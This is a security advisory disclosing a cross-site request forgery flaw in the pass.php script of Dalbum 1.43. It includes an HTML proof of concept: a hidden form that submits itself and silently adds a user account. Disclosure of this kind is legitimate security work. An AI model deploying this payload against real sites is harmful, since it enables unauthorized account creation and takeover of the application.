HTB22941: CSRF (Cross-Site Request Forgery) in Dalbum

[advisory () htbridge ch]

Vulnerability ID: HTB22941
Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_dalbum.html
Product: Dalbum
Vendor: http://www.dalbum.org/ ( http://www.dalbum.org/ ) 
Vulnerable Version: 1.43
Vendor Notification: 05 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "pass.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

[html]
<form action="http://[host]/pass.php"; method="post" name="main" />
<input name="user" value="1" type="hidden" />
<input name="pass" value="1" type="hidden" />
<input name="passc" value="1" type="hidden" />
<input type="hidden" name="action" value="add">
<input type="submit" id="btn" name="submit" value="Submit ››">
</form>
<script>
document.getElementById('btn').click();
</script>
[/html]